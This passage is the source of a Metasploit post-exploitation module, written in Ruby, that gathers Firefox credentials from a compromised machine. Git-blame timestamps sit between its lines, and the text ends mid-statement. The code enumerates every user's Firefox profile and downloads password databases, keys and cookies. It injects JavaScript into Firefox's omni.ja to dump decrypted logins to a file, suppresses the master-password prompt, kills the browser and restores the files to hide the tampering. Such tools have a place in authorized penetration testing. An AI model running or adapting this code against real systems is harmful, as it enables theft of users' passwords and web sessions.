2011-03-05 02:57:32 +00:00
##
2014-10-17 16:47:33 +00:00
# This module requires Metasploit: http://metasploit.com/download
2013-10-15 18:50:46 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
2011-03-05 02:57:32 +00:00
##
2014-06-10 18:41:42 +00:00
#
# Standard Library
#
require 'tmpdir'
#
# Gems
#
require 'zip'
#
# Project
#
2011-03-05 02:57:32 +00:00
require 'msf/core'
require 'rex'
2013-06-02 20:27:53 +00:00
require 'msf/core/auxiliary/report'
2011-03-05 02:57:32 +00:00
2015-07-14 12:33:48 +00:00
class Metasploit3 < Msf :: Post
2013-09-05 18:41:25 +00:00
include Msf :: Post :: File
include Msf :: Auxiliary :: Report
include Msf :: Post :: Windows :: UserProfiles
2015-07-16 15:05:59 +00:00
def initialize ( info = { } )
2015-07-14 12:33:48 +00:00
super ( update_info ( info ,
2013-09-05 18:41:25 +00:00
'Name' = > 'Multi Gather Firefox Signon Credential Collection' ,
'Description' = > %q{
This module will collect credentials from the Firefox web browser if it is
installed on the targeted machine . Additionally , cookies are downloaded . Which
could potentially yield valid web sessions .
Firefox stores passwords within the signons . sqlite database file . There is also a
keys3 . db file which contains the key for decrypting these passwords . In cases where
a Master Password has not been set , the passwords can easily be decrypted using
2015-07-14 12:33:48 +00:00
3 rd party tools or by setting the DECRYPT option to true . Using the latter often
2013-09-05 19:40:18 +00:00
needs root privileges . Also be warned that if your session dies in the middle of the
file renaming process , this could leave Firefox in a non working state . If a
Master Password was used the only option would be to bruteforce .
2015-07-14 12:33:48 +00:00
Useful 3 rd party tools :
+ firefox_decrypt ( https : / / github . com / Unode / firefox_decrypt )
+ pswRecovery4Moz ( https : / / github . com / philsmd / pswRecovery4Moz )
2013-09-05 18:41:25 +00:00
} ,
'License' = > MSF_LICENSE ,
'Author' = >
[
2014-02-12 22:32:08 +00:00
'bannedit' ,
2015-07-14 12:33:48 +00:00
'xard4s' , # added decryption support
'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
2013-09-05 18:41:25 +00:00
] ,
2013-09-24 17:33:31 +00:00
'Platform' = > %w{ bsd linux osx unix win } ,
2013-09-05 18:41:25 +00:00
'SessionTypes' = > [ 'meterpreter' , 'shell' ]
) )
2015-07-14 12:33:48 +00:00
register_options ( [
OptBool . new ( 'DECRYPT' ,
[ false , 'Decrypts passwords without third party tools' , false ] )
] , self . class )
register_advanced_options ( [
OptBool . new ( 'DISCLAIMER' ,
[ false , 'Acknowledge the DECRYPT warning' , false ] ) ,
OptBool . new ( 'RECOVER' ,
[ false , 'Attempt to recover from bad DECRYPT when possible' , false ] )
] , self . class )
2013-09-05 18:41:25 +00:00
end
2015-07-14 12:33:48 +00:00
2013-09-05 18:41:25 +00:00
def run
2015-07-14 12:33:48 +00:00
# Certain shells for certain platform
vprint_status ( " Determining session platform and type " )
2013-09-05 18:41:25 +00:00
case session . platform
when / unix|linux|bsd /
@platform = :unix
when / osx /
@platform = :osx
when / win /
if session . type != " meterpreter "
2015-07-14 12:33:48 +00:00
print_error " Only meterpreter sessions are supported on Windows hosts "
2013-09-05 18:41:25 +00:00
return
end
@platform = :windows
else
2015-07-14 12:33:48 +00:00
print_error ( " Unsupported platform: #{ session . platform } " )
2013-09-05 18:41:25 +00:00
return
end
if datastore [ 'DECRYPT' ]
2015-07-14 12:33:48 +00:00
if ! datastore [ 'DISCLAIMER' ]
decrypt_disclaimer
return
2013-09-05 19:40:18 +00:00
end
2015-07-14 12:33:48 +00:00
omnija = nil # non meterpreter download
org_file = 'omni.ja' # key file
2013-09-05 18:41:25 +00:00
new_file = Rex :: Text :: rand_text_alpha ( 5 + rand ( 3 ) ) + " .ja "
2015-07-14 12:33:48 +00:00
temp_file = " orgomni.ja " # backup of key file #Rex::Text::rand_text_alpha(5 + rand(3)) + ".ja"
2013-09-05 18:41:25 +00:00
2015-07-14 12:33:48 +00:00
# Sets @paths
return unless decrypt_get_env
2013-09-05 18:41:25 +00:00
2015-07-14 12:33:48 +00:00
# Check target for the necessary files
if session . type == " meterpreter "
if session . fs . file . exists? ( @paths [ 'ff' ] + temp_file ) and ! session . fs . file . exists? ( @paths [ 'ff' ] + org_file )
print_error ( " Detected #{ temp_file } without #{ org_file } . This is a good sign of previous DECRYPT attack gone wrong. " )
2013-09-05 18:41:25 +00:00
return
2015-07-14 12:33:48 +00:00
elsif session . fs . file . exists? ( @paths [ 'ff' ] + temp_file )
decrypt_file_stats ( temp_file , org_file , @paths [ 'ff' ] )
if ! datastore [ 'RECOVER' ]
print_warning ( " If you wish to continue by trying to recover, set the advanced option, RECOVER, to TRUE. " )
print_line
return
else
return unless decrypt_recover_omni ( temp_file , org_file , @paths [ 'ff' ] )
end
elsif ! session . fs . file . exists? ( @paths [ 'ff' ] + org_file )
print_error ( " Could not download #{ org_file } . File does not exist. " )
return
end
end # session.type == "meterpreter"
session . type == " meterpreter " ? ( size = " (%s MB) " % " %0.2f " % ( session . fs . file . stat ( @paths [ 'ff' ] + org_file ) . size / 1048576 . 0 ) ) : ( size = " " )
tmp = Dir :: tmpdir + " / " + new_file # Cross platform local tempdir, "/" should work on Windows too
2015-07-16 15:05:59 +00:00
print_status ( " Downloading #{ @paths [ 'ff' ] + org_file } to: #{ tmp } %s " % size )
2015-07-14 12:33:48 +00:00
if session . type == " meterpreter " # If meterpreter is an option, lets use it!
session . fs . file . download_file ( tmp , @paths [ 'ff' ] + org_file )
else # Fall back shells
omnija = read_file ( @paths [ 'ff' ] + org_file )
if omnija . nil? or omnija . empty? or omnija =~ / No such file /i
print_error ( " Could not download: #{ @paths [ 'ff' ] + org_file } " )
print_error ( " Tip: Try swtiching to a meterpreter shell if possible (as its more reliable/stable when downloading) " ) if session . type != " meterpreter "
return
end
print_status ( " Saving #{ org_file } to: #{ tmp } " )
file_local_write ( tmp , omnija )
2013-09-05 18:41:25 +00:00
end
2015-07-14 12:33:48 +00:00
2013-09-05 18:41:25 +00:00
res = nil
2015-07-14 12:33:48 +00:00
print_status ( " Injecting into: #{ tmp } " )
2013-09-05 18:41:25 +00:00
begin
2015-07-14 12:33:48 +00:00
# Automatically commits the changes made to the zip archive when the block terminates
2014-06-10 18:41:42 +00:00
Zip :: File . open ( tmp ) do | zip_file |
2015-07-14 12:33:48 +00:00
res = decrypt_modify_omnija ( zip_file )
2013-09-05 18:41:25 +00:00
end
2014-06-10 18:41:42 +00:00
rescue Zip :: Error = > e
2015-07-14 12:33:48 +00:00
print_error ( " Error modifying: #{ tmp } " )
2013-09-05 18:41:25 +00:00
return
end
if res
2015-07-14 12:33:48 +00:00
vprint_good ( " Successfully modified: #{ tmp } " )
2013-09-05 18:41:25 +00:00
else
2015-07-14 12:33:48 +00:00
print_error ( " Failed to inject " )
2013-09-05 18:41:25 +00:00
return
end
2015-07-14 12:33:48 +00:00
2015-07-16 15:05:59 +00:00
print_status ( " Uploading #{ tmp } to: #{ @paths [ 'ff' ] + new_file } " )
2015-07-14 12:33:48 +00:00
print_warning ( " This may take some time... " ) if @platform =~ / unix|osx /
if session . type == " meterpreter "
session . fs . file . upload_file ( @paths [ 'ff' ] + new_file , tmp )
else
if ! upload_file ( @paths [ 'ff' ] + new_file , tmp )
print_error ( " Could not upload: #{ tmp } " )
return
end
2013-09-05 18:41:25 +00:00
end
2015-07-14 12:33:48 +00:00
return if ! decrypt_trigger_decrypt ( org_file , new_file , temp_file )
2013-09-05 18:41:25 +00:00
2015-07-14 12:33:48 +00:00
decrypt_download_creds
else # Non DECRYPT
2013-09-05 18:41:25 +00:00
paths = [ ]
2015-07-14 12:33:48 +00:00
@platform =~ / unix|osx / ? ( paths = enum_users_unix ) : ( paths = enum_users_win )
2013-09-05 18:41:25 +00:00
2015-07-14 12:33:48 +00:00
if paths . empty?
2013-09-05 18:41:25 +00:00
print_error ( " No users found with a Firefox directory " )
return
end
download_loot ( paths . flatten )
end
2015-07-14 12:33:48 +00:00
print_line
end
2013-09-05 18:41:25 +00:00
2015-07-14 12:33:48 +00:00
def decrypt_disclaimer
print_line
print_warning ( " Decrypting the keys causes the remote Firefox process to be killed. " )
print_warning ( " If the user is paying attention, this could make them suspicious. " )
print_warning ( " In order to proceed, set the advanced option, DISCLAIMER, to TRUE. " )
print_line
end
def decrypt_file_stats ( temp_file , org_file , path )
print_line
print_error ( " Detected #{ temp_file } already on the target. This could possible a possible backup of the original #{ org_file } from a bad DECRYPT attack. " )
print_status ( " Size: #{ session . fs . file . stat ( @paths [ 'ff' ] + org_file ) . size } B ( #{ org_file } ) " )
print_status ( " Size: #{ session . fs . file . stat ( @paths [ 'ff' ] + temp_file ) . size } B ( #{ temp_file } ) " )
print_status ( " #{ org_file } : Created- #{ session . fs . file . stat ( @paths [ 'ff' ] + org_file ) . ctime } Modified- #{ session . fs . file . stat ( @paths [ 'ff' ] + org_file ) . mtime } Accessed- #{ session . fs . file . stat ( @paths [ 'ff' ] + org_file ) . mtime } " )
print_status ( " #{ temp_file } : Created- #{ session . fs . file . stat ( @paths [ 'ff' ] + temp_file ) . ctime } Modified- #{ session . fs . file . stat ( @paths [ 'ff' ] + temp_file ) . mtime } Accessed- #{ session . fs . file . stat ( @paths [ 'ff' ] + temp_file ) . ctime } " )
print_line
2013-09-05 18:41:25 +00:00
end
2015-07-14 12:33:48 +00:00
def decrypt_recover_omni ( temp_file , org_file , path )
#print_status("Deleting: #{@paths['ff'] + temp_file} (Possible backup)")
#file_rm(@paths['ff'] + temp_file)
print_status ( " Restoring: #{ @paths [ 'ff' ] + temp_file } (Possible backup) " )
file_rm ( @paths [ 'ff' ] + org_file )
rename_file ( @paths [ 'ff' ] + temp_file , @paths [ 'ff' ] + org_file )
if session . type == " meterpreter "
print_error ( " There is still #{ temp_file } on the target. Something went wrong. " ) if session . fs . file . exists? ( @paths [ 'ff' ] + temp_file )
if ! session . fs . file . exists? ( @paths [ 'ff' ] + org_file )
print_error ( " #{ org_file } is no longer at #{ @paths [ 'ff' ] + org_file } " )
return false
end
end # session.type == "meterpreter"
return true
end
2013-09-05 18:41:25 +00:00
def enum_users_unix
2015-07-14 12:33:48 +00:00
paths = [ ]
2013-09-05 18:41:25 +00:00
id = whoami
if id . nil? or id . empty?
2015-07-14 12:33:48 +00:00
print_error ( " Session #{ datastore [ 'SESSION' ] } is not responding " )
return
2013-09-05 18:41:25 +00:00
end
2015-07-14 12:33:48 +00:00
@platform == :osx ? ( home = " /Users/ " ) : ( home = " /home/ " )
2013-09-05 18:41:25 +00:00
if got_root?
2015-07-14 12:33:48 +00:00
vprint_status ( " Detected ROOT privileges. Searching every account on the system. " )
userdirs = session . shell_command ( " ls #{ home } 2>/dev/null " ) . gsub ( / \ s / , " \n " )
2013-09-05 18:41:25 +00:00
userdirs << " /root \n "
else
2015-07-14 12:33:48 +00:00
vprint_status ( " Checking #{ id } 's Firefox account " )
userdirs = session . shell_command ( " ls #{ home + id } 2>/dev/null " ) . gsub ( / \ s / , " \n " )
2013-09-05 18:41:25 +00:00
end
userdirs . each_line do | dir |
dir . chomp!
2015-07-16 15:05:59 +00:00
next if dir == " . " || dir == " .. " || dir =~ / No such file /i
2013-09-05 18:41:25 +00:00
2015-07-14 12:33:48 +00:00
dir =~ / ^ \/ root$ / ? ( basepath = " / #{ id } " ) : ( basepath = " #{ home + dir } " )
@platform == :osx ? ( basepath = " #{ basepath } /Library/Application \\ Support/Firefox/Profiles/ " ) : ( basepath = " #{ basepath } /.mozilla/firefox/ " )
2013-09-05 18:41:25 +00:00
2015-07-14 12:33:48 +00:00
print_status ( " Checking for Firefox profile in: #{ basepath } " )
checkpath = session . shell_command ( " ls #{ basepath } 2>/dev/null " ) . gsub ( / \ s / , " \n " )
checkpath . each_line do | ffpath |
ffpath . chomp!
if ffpath =~ / \ .default /
vprint_good ( " Found profile: #{ basepath + ffpath } " )
paths << " #{ basepath + ffpath } "
2013-09-05 18:41:25 +00:00
end
end
end
2015-07-14 12:33:48 +00:00
return paths
2013-09-05 18:41:25 +00:00
end
2015-07-14 12:33:48 +00:00
def enum_users_win
2013-09-05 18:41:25 +00:00
paths = [ ]
2015-07-14 12:33:48 +00:00
id = whoami
if id . nil? or id . empty?
print_error ( " Session #{ datastore [ 'SESSION' ] } is not responding " )
return
end
vprint_status ( " Searching every possible account on the system " )
grab_user_profiles ( ) . each do | user |
next if user [ 'AppData' ] . nil?
dir = check_firefox_win ( user [ 'AppData' ] )
paths << dir if dir
end
return paths
end
def check_firefox_win ( path )
paths = [ ]
ffpath = [ ]
path = path + " \\ Mozilla \\ "
print_status ( " Checking for Firefox profile in: #{ path } " )
2013-09-05 18:41:25 +00:00
stat = session . fs . file . stat ( path + " Firefox \\ profiles.ini " ) rescue nil
if ! stat
2015-07-14 12:33:48 +00:00
print_error ( " Firefox was not found (Missing profiles.ini) " )
2013-09-05 18:41:25 +00:00
return
end
session . fs . dir . foreach ( path ) do | fdir |
2015-07-14 12:33:48 +00:00
#print_status("Found a Firefox directory: #{path + fdir}")
ffpath << path + fdir
break
2013-09-05 18:41:25 +00:00
end
2015-07-14 12:33:48 +00:00
if ffpath . empty?
print_error ( " Firefox was not found " )
2013-09-05 18:41:25 +00:00
return
end
2015-07-14 12:33:48 +00:00
#print_status("Locating Firefox profiles")
2013-09-05 18:41:25 +00:00
path += " Firefox \\ Profiles \\ "
2015-07-14 12:33:48 +00:00
# We should only have profiles in the Profiles directory store them all
2013-09-05 18:41:25 +00:00
begin
session . fs . dir . foreach ( path ) do | pdirs |
next if pdirs == " . " or pdirs == " .. "
2015-07-14 12:33:48 +00:00
vprint_good ( " Found profile: #{ path + pdirs } " )
2013-09-05 18:41:25 +00:00
paths << path + pdirs
end
rescue
2015-07-14 12:33:48 +00:00
print_error ( " Profiles directory is missing " )
2013-09-05 18:41:25 +00:00
return
end
2015-07-14 12:33:48 +00:00
paths . empty? ? ( nil ) : ( paths )
end
def download_loot ( paths )
loot = " "
print_line
paths . each do | path |
print_status ( " Profile: #{ path } " )
# win: C:\Users\administrator\AppData\Roaming\Mozilla\Firefox\Profiles\tsnwjx4g.default
# linux: /root/.mozilla/firefox/tsnwjx4g.default (iceweasel)
# osx: /Users/mbp/Library/Application Support/Firefox/Profiles/tsnwjx4g.default
2015-07-27 18:49:06 +00:00
profile = path . scan ( / Profiles[ \\ | \/ ](.+) \ .(.+)$ / ) . flatten [ 0 ] . to_s
profile = path . scan ( / firefox[ \\ | \/ ](.+) \ .(.+)$ / ) . flatten [ 0 ] . to_s if profile . empty?
2015-07-14 12:33:48 +00:00
session . type == " meterpreter " ? ( files = session . fs . dir . foreach ( path ) ) : ( files = session . shell_command ( " ls #{ path } 2>/dev/null " ) . split ( ) )
files . each do | file |
2015-07-27 18:49:06 +00:00
file . chomp!
2015-07-16 15:05:59 +00:00
if file =~ / ^key \ d \ .db$ / or file =~ / ^cert \ d \ .db$ / or file =~ / ^signons.sqlite$ /i or file =~ / ^cookies \ .sqlite$ / or file =~ / ^logins \ .json$ /
2015-07-27 18:49:06 +00:00
ext = file . split ( '.' ) [ 2 ]
ext == " txt " ? ( mime = " plain " ) : ( mime = " binary " )
2015-07-14 12:33:48 +00:00
vprint_status ( " Downloading: #{ file } " )
if session . type == " meterpreter "
2015-07-27 18:49:06 +00:00
p = store_loot ( " ff. #{ profile } . #{ file } " , " #{ mime } / #{ ext } " , session , " firefox_ #{ file } " )
session . fs . file . download_file ( p , path + " \\ " + file )
2015-07-14 12:33:48 +00:00
else # windows has to be meterpreter, so can be anything else (unix, bsd, linux, osx)
loot = session . shell_command ( " cat #{ path + file } " )
2015-07-27 18:49:06 +00:00
p = store_loot ( " ff. #{ profile } . #{ file } " , " #{ mime } / #{ ext } " , session , loot , " firefox_ #{ file } " , " #{ file } for #{ profile } " )
2015-07-14 12:33:48 +00:00
end
print_good ( " Downloaded #{ file } : #{ p . to_s } " )
end
end
print_line
2013-09-05 18:41:25 +00:00
end
end
2015-07-14 12:33:48 +00:00
# Checks for needed privileges and wheter Firefox is installed
def decrypt_get_env
2013-09-05 18:41:25 +00:00
@paths = { }
check_paths = [ ]
loot_file = Rex :: Text :: rand_text_alpha ( 6 ) + " .txt "
case @platform
when / win /
if ! got_root? and session . sys . config . sysinfo [ 'OS' ] !~ / xp /i
2015-07-14 12:33:48 +00:00
print_warning ( " You may need SYSTEM privileges on this platform for the DECRYPT option to work " )
2013-09-05 18:41:25 +00:00
end
2015-07-14 12:33:48 +00:00
2013-12-19 01:43:59 +00:00
env_vars = session . sys . config . getenvs ( 'TEMP' , 'SystemDrive' )
tmpdir = env_vars [ 'TEMP' ] + " \\ "
drive = env_vars [ 'SystemDrive' ]
2015-07-14 12:33:48 +00:00
# This way allows for more independent use of meterpreter payload (32 and 64 bit) and cleaner code
2013-09-05 18:41:25 +00:00
check_paths << drive + '\\Program Files\\Mozilla Firefox\\'
check_paths << drive + '\\Program Files (x86)\\Mozilla Firefox\\'
when / unix /
if cmd_exec ( " whoami " ) . chomp !~ / root /
print_error ( " You need root privileges on this platform for DECRYPT option " )
return false
end
2015-07-14 12:33:48 +00:00
# Unix matches linux|unix|bsd but BSD is not supported
2013-09-05 18:41:25 +00:00
if session . platform =~ / bsd /
2015-07-14 12:33:48 +00:00
print_error ( " Sorry, BSD is not supported by the DECRYPT option " )
2013-09-05 18:41:25 +00:00
return false
end
2015-07-14 12:33:48 +00:00
tmpdir = '/tmp/'
2013-09-05 18:41:25 +00:00
check_paths << '/usr/lib/firefox/'
check_paths << '/usr/lib64/firefox/'
2015-07-14 12:33:48 +00:00
check_paths << '/usr/lib/iceweasel/'
check_paths << '/usr/lib64/iceweasel/'
2013-09-05 18:41:25 +00:00
when / osx /
tmpdir = '/tmp/'
check_paths << '/applications/firefox.app/contents/macos/'
end
@paths [ 'ff' ] = check_paths . find do | p |
check = p . sub ( / ( \\ | \/ )(mozilla \ s)?firefox.* /i , '' )
2015-07-14 12:33:48 +00:00
vprint_status ( " Checking for Firefox directory in: #{ check } " )
2013-09-05 18:41:25 +00:00
if directory? ( p . sub ( / ( \\ | \/ )$ / , '' ) )
2015-07-14 12:33:48 +00:00
print_good ( " Found Firefox directory: #{ check } " )
2013-09-05 18:41:25 +00:00
true
else
2015-07-14 12:33:48 +00:00
#vprint_error("No Firefox directory found")
2013-09-05 18:41:25 +00:00
false
end
end
2015-07-14 12:33:48 +00:00
if @paths [ 'ff' ] . nil?
print_error ( " No Firefox directory found " )
return false
end
2013-09-05 18:41:25 +00:00
@paths [ 'loot' ] = tmpdir + loot_file
return true
end
2015-07-14 12:33:48 +00:00
def decrypt_modify_omnija ( zip )
# Which files to extract from ja/zip
2013-09-05 18:41:25 +00:00
files = [
2015-07-14 12:33:48 +00:00
'components/storage-mozStorage.js' , # stor_js
'chrome/toolkit/content/passwordmgr/passwordManager.xul' , # pwd_xul
'chrome/toolkit/content/global/commonDialog.xul' , # dlog_xul
'jsloader/resource/gre/components/storage-mozStorage.js' # res_js (not 100% sure why this is used)
2013-09-05 18:41:25 +00:00
]
2015-07-14 12:33:48 +00:00
# Extract files
2013-09-05 18:41:25 +00:00
arya = files . map do | file |
fdata = { }
fdata [ 'content' ] = zip . read ( file ) unless file =~ / jsloader /
fdata [ 'outs' ] = zip . get_output_stream ( file )
fdata
end
2015-07-14 12:33:48 +00:00
# Read contents
2013-09-05 18:41:25 +00:00
stor_js , pwd_xul , dlog_xul , res_js = arya
stor_js [ 'outs_res' ] = res_js [ 'outs' ]
2015-07-14 12:33:48 +00:00
# Payload (close after starting up - allowing evil js to run and nothing else)
2013-09-05 18:41:25 +00:00
wnd_close = " window.close(); "
onload = " Startup(); SignonsStartup(); #{ wnd_close } "
2015-07-14 12:33:48 +00:00
# Patch commonDialog.xul - Get rid of (possible) master password prompt
dlog_xul [ 'content' ] . sub! ( / commonDialogOnLoad \ ( \ ); / , wnd_close )
2013-09-05 18:41:25 +00:00
dlog_xul [ 'outs' ] . write ( dlog_xul [ 'content' ] )
dlog_xul [ 'outs' ] . close
2015-07-14 12:33:48 +00:00
vprint_good ( " [1/2] XUL injected - commonDialog.xul " )
2013-09-05 18:41:25 +00:00
2015-07-14 12:33:48 +00:00
# Patch passwordManager.xul - Close password manager immediately
2013-09-05 18:41:25 +00:00
pwd_xul [ 'content' ] . sub! ( / Startup \ ( \ ); SignonsStartup \ ( \ ); / , onload )
pwd_xul [ 'outs' ] . write ( pwd_xul [ 'content' ] )
pwd_xul [ 'outs' ] . close
2015-07-14 12:33:48 +00:00
vprint_good ( " [2/2] XUL injected - passwordManager.xul " )
2013-09-05 18:41:25 +00:00
2015-07-14 12:33:48 +00:00
# Patch ./components/storage-mozStorage.js - returns true or false
return decrypt_patch_method ( stor_js )
2013-09-05 18:41:25 +00:00
end
2015-07-14 12:33:48 +00:00
# Patches getAllLogins() methods in ./components/storage-mozStorage.js
def decrypt_patch_method ( stor_js )
data = " "
# Imports needed for IO
imports = % Q | Components . utils . import ( " resource://gre/modules/NetUtil.jsm " ) ;
Components . utils . import ( " resource://gre/modules/FileUtils.jsm " ) ;
Components . utils . import ( " resource://gre/modules/XPCOMUtils.jsm " ) ;
|
2013-09-05 18:41:25 +00:00
2015-07-14 12:33:48 +00:00
# Javascript code to intercept the logins array and write the credentials to a file
method_epilog = % Q |
var data = " " ;
var path = " #{ @paths [ 'loot' ] . inspect . gsub ( / " / , '' ) } " ;
var file = new FileUtils . File ( path ) ;
2013-09-05 18:41:25 +00:00
2015-07-14 12:33:48 +00:00
var outstream = FileUtils . openSafeFileOutputStream ( file ) ;
var converter = Components . classes [ " @mozilla.org/intl/scriptableunicodeconverter " ] .
createInstance ( Components . interfaces . nsIScriptableUnicodeConverter ) ;
converter . charset = " UTF-8 " ;
2013-09-05 18:41:25 +00:00
2015-07-14 12:33:48 +00:00
if ( logins . length != 0 ) {
for ( var i = 0 ; i < logins . length ; i + + ) {
data += logins [ i ] . hostname + " :: " + logins [ i ] . username + " :: " + logins [ i ] . password + " ^ " ;
}
} else {
data = " no creds " ;
}
2013-09-05 18:41:25 +00:00
2015-07-14 12:33:48 +00:00
var istream = converter . convertToInputStream ( data ) ;
NetUtil . asyncCopy ( istream , outstream ) ;
2013-09-05 18:41:25 +00:00
2015-07-14 12:33:48 +00:00
return logins ;
|
2013-09-05 18:41:25 +00:00
regex = [
2015-07-14 12:33:48 +00:00
nil , # dirty hack alert
[ / return \ slogins; / , method_epilog ] ,
[ / Components \ .utils \ .import \ ("resource: \/ \/ gre \/ modules \/ XPCOMUtils \ .jsm" \ ); / , imports ]
2013-09-05 18:41:25 +00:00
]
2015-07-14 12:33:48 +00:00
# Match the last two regular expressions
i = 2 # ...this is todo with the nil in the above regex array & regex command below
x = i
2013-09-05 18:41:25 +00:00
stor_js [ 'content' ] . each_line do | line |
2015-07-14 12:33:48 +00:00
# There is no real substitution if the matching regex has no corresponding patch code
if i != 0 and line . sub! ( regex [ i ] [ 0 ] ) do | match |
2015-07-27 18:49:06 +00:00
if ! regex [ i ] [ 1 ] . nil?
2015-07-14 12:33:48 +00:00
vprint_good ( " [ #{ x - i + 1 } / #{ x } ] Javascript injected - ./components/storage-mozStorage.js " )
regex [ i ] [ 1 ]
end
end # do |match|
i -= 1
end # if i != 0
2013-09-05 18:41:25 +00:00
data << line
end
2015-07-14 12:33:48 +00:00
# Write the same data to both output streams
2013-09-05 18:41:25 +00:00
stor_js [ 'outs' ] . write ( data )
stor_js [ 'outs_res' ] . write ( data )
stor_js [ 'outs' ] . close
stor_js [ 'outs_res' ] . close
2015-07-14 12:33:48 +00:00
i == 0 ? ( true ) : ( false )
2013-09-05 18:41:25 +00:00
end
2015-07-14 12:33:48 +00:00
# Starts a new Firefox process and triggers decryption
def decrypt_trigger_decrypt ( org_file , new_file , temp_file )
2013-09-05 18:41:25 +00:00
[ org_file , new_file , temp_file ] . each do | f |
f . insert ( 0 , @paths [ 'ff' ] )
end
2015-07-14 12:33:48 +00:00
# Firefox command line arguments
2013-09-05 18:41:25 +00:00
args = '-purgecaches -chrome chrome://passwordmgr/content/passwordManager.xul'
2015-07-14 12:33:48 +00:00
# In case of unix-like platform Firefox needs to start under user context
2013-09-05 18:41:25 +00:00
if @platform =~ / unix /
2015-07-14 12:33:48 +00:00
# Assuming userdir /home/(x) = user
print_status ( " Enumerating users " )
users = cmd_exec ( " ls /home 2>/dev/null " )
2013-09-05 18:41:25 +00:00
if users . nil? or users . empty?
print_error ( " No normal user found " )
return false
end
user = users . split ( ) [ 0 ]
2015-07-14 12:33:48 +00:00
# Since we can't access the display environment variable we have to assume the default value
2013-09-05 18:41:25 +00:00
args . insert ( 0 , " \" #{ @paths [ 'ff' ] } firefox --display=:0 " )
args << " \" "
cmd = " su #{ user } -c "
elsif @platform =~ / win|osx /
cmd = @paths [ 'ff' ] + " firefox "
2015-07-14 12:33:48 +00:00
# On OSX, run in background
2013-09-05 18:41:25 +00:00
args << " & sleep 5 && killall firefox " if @platform =~ / osx /
end
2015-07-14 12:33:48 +00:00
# Check if Firefox is running and kill it
2013-09-05 18:41:25 +00:00
if session . type == " meterpreter "
session . sys . process . each_process do | p |
if p [ 'name' ] =~ / firefox \ .exe /
print_status ( " Found running Firefox process, attempting to kill. " )
2015-07-14 12:33:48 +00:00
if ! session . sys . process . kill ( p [ 'pid' ] )
2013-09-05 18:41:25 +00:00
print_error ( " Could not kill Firefox process " )
return false
end
end
end
2015-07-14 12:33:48 +00:00
else # windows has to be meterpreter, so can be anything else (unix, bsd, linux, osx)
2013-09-05 18:41:25 +00:00
p = cmd_exec ( " ps " , " cax | grep firefox " )
if p =~ / firefox /
print_status ( " Found running Firefox process, attempting to kill. " )
term = cmd_exec ( " killall " , " firefox && echo true " )
2015-07-14 12:33:48 +00:00
if ! term =~ / true /
2013-09-05 18:41:25 +00:00
print_error ( " Could not kill Firefox process " )
return false
end
end
end
2015-07-14 12:33:48 +00:00
sleep ( 1 )
2013-09-05 18:41:25 +00:00
#
2015-07-14 12:33:48 +00:00
# Rename-fu:
# omni.ja (original) -> orgomni.ja (original_backup)
# *random*.ja (evil) -> omni.ja (original)
# ...start & close Firefox...
# omni.ja (evil) -> *random*.ja (pointless temp file)
# orgomni.ja (original_backup) -> omni.ja (original)
2013-09-05 18:41:25 +00:00
#
2015-07-16 15:05:59 +00:00
vprint_status ( " Renaming .JA files " )
2013-09-05 18:41:25 +00:00
rename_file ( org_file , temp_file )
rename_file ( new_file , org_file )
2015-07-14 12:33:48 +00:00
# Automatic termination (window.close() - injected XUL or firefox cmd arguments)
print_status ( " Starting Firefox process to get #{ whoami } 's credentials " )
2013-09-05 18:41:25 +00:00
cmd_exec ( cmd , args )
2015-07-14 12:33:48 +00:00
sleep ( 1 )
2013-09-05 18:41:25 +00:00
2015-07-14 12:33:48 +00:00
# Lets just check theres something before going forward
if session . type == " meterpreter "
i = 20
vprint_status ( " Waiting up to #{ i } seconds for loot file ( #{ @paths [ 'loot' ] } ) to be generated " ) if ! session . fs . file . exists? ( @paths [ 'loot' ] )
while ( ! session . fs . file . exists? ( @paths [ 'loot' ] ) )
sleep 1
i -= 1
break if i == 0
end
print_error ( " Missing loot file. Something went wrong. " ) if ! session . fs . file . exists? ( @paths [ 'loot' ] )
end # session.type == "meterpreter"
2015-07-16 15:05:59 +00:00
print_status ( " Restoring original .JA: #{ temp_file } " )
2013-09-05 18:41:25 +00:00
rename_file ( org_file , new_file )
rename_file ( temp_file , org_file )
2015-07-14 12:33:48 +00:00
# Clean up
vprint_status ( " Cleaning up: #{ new_file } " )
2013-09-05 18:41:25 +00:00
file_rm ( new_file )
2015-07-14 12:33:48 +00:00
if session . type == " meterpreter "
if session . fs . file . exists? ( temp_file )
print_error ( " Detected backup file ( #{ temp_file } ) still on the target. Something went wrong. " )
end
if ! session . fs . file . exists? ( org_file )
print_error ( " Unable to find #{ org_file } on target. Something went wrong. " )
end
end # session.type == "meterpreter"
2013-09-05 18:41:25 +00:00
2015-07-14 12:33:48 +00:00
# At this time, there should have a loot file
if ! session . fs . file . exists? ( @paths [ 'loot' ] ) and session . type == " meterpreter "
print_error ( " DECRYPT failed. Either something went wrong (download/upload? Injecting?), there is a master password or an unsupported Firefox version. " )
# Another issue is encoding. The files may be seen as 'data' rather than 'ascii'
print_error ( " Tip: Try swtiching to a meterpreter shell if possible (as its more reliable/stable when downloading/uploading) " ) if session . type != " meterpreter "
2013-09-05 18:41:25 +00:00
return false
end
return true
end
2015-07-14 12:33:48 +00:00
def decrypt_download_creds
2013-09-05 18:41:25 +00:00
print_good ( " Downloading loot: #{ @paths [ 'loot' ] } " )
loot = read_file ( @paths [ 'loot' ] )
if loot =~ / no creds /
print_status ( " No Firefox credentials where found " )
return
end
2015-07-14 12:33:48 +00:00
# Better delete the remote creds file
vprint_status ( " Cleaning up: #{ @paths [ 'loot' ] } " )
file_rm ( @paths [ 'loot' ] )
# Create table to store
2013-09-05 18:41:25 +00:00
cred_table = Rex :: Ui :: Text :: Table . new (
2015-07-14 12:33:48 +00:00
'Header' = > 'Firefox Credentials' ,
2013-09-05 18:41:25 +00:00
'Indent' = > 1 ,
'Columns' = >
[
'Hostname' ,
'User' ,
'Password'
]
)
creds = loot . split ( " ^ " )
creds . each do | cred |
hostname , user , pass = cred . rstrip . split ( " :: " )
cred_table << [ hostname , user , pass ]
2015-07-16 15:05:59 +00:00
# Creds API
service_data = {
workspace_id : myworkspace_id
}
credential_data = {
origin_type : :session ,
session_id : session_db_id ,
post_reference_name : self . refname ,
smodule_fullname : self . fullname ,
username : user ,
private_data : pass ,
private_type : :password
} . merge ( service_data )
create_credential ( credential_data )
2013-09-05 18:41:25 +00:00
end
2015-07-16 15:05:59 +00:00
# Create local loot csv file
2013-09-05 18:41:25 +00:00
path = store_loot (
